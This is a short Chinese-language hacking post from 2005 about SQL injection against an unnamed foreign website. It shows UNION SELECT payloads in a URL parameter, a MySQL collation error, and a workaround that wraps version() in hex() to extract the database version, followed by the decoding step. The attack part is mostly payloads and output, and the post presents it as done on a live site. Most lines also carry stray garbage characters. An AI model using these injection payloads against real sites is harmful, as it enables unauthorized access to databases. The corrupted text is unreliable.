本文作者:SuperHei
( p' N* z! W% L; n! z6 d文章性质:原创* a4 u% [ k) L1 L% G8 K# [
发布日期:2005-10-180 ?! P1 l3 E+ J. ?* H. d6 v- \
测试个国外的站时:
9 z( F# q1 Q; Iurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*4 u( U# k+ P- `+ `; H
返回错误:
# \+ @1 |) p( W: }; }Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'7 }( ]( c9 E( e! l* e2 B1 k' C Y
MySQL Error No. 1267 ]% B- O1 w: L% j* ~5 m
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
# t, X. v4 A& W6 \: n! \2 ~( A解决办法:转为其他编码如hex。
- _7 @, e# c7 W4 T( s0 aurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
* r9 @7 @( R; o成功得到hex(version())的值为:
9 {. @$ Q4 z- \/ c. |, ]342E312E332D626574612 q& y' d" U% k
回Mysql查询下得到:
9 z9 M& [: T9 x# u/ smysql> select 0x342E312E332D62657461;3 _; [0 Q: U& \* U$ S; K
+------------------------+% r7 k; F( c. j- Q, ?$ O1 g) K
| 0x342E312E332D62657461 |" z- s2 {# e' j5 Q2 `
+------------------------+3 ]# W# ]4 \: P/ r5 g
| 4.1.3-beta |
7 p h" I* `4 A0 P) T1 d+------------------------+
4 c% }+ J. N7 _+ l9 }0 q1 row in set (0.00 sec)' J4 P1 I4 i2 x8 S; D$ v: E2 o
9 j/ S W. ] r/ h
|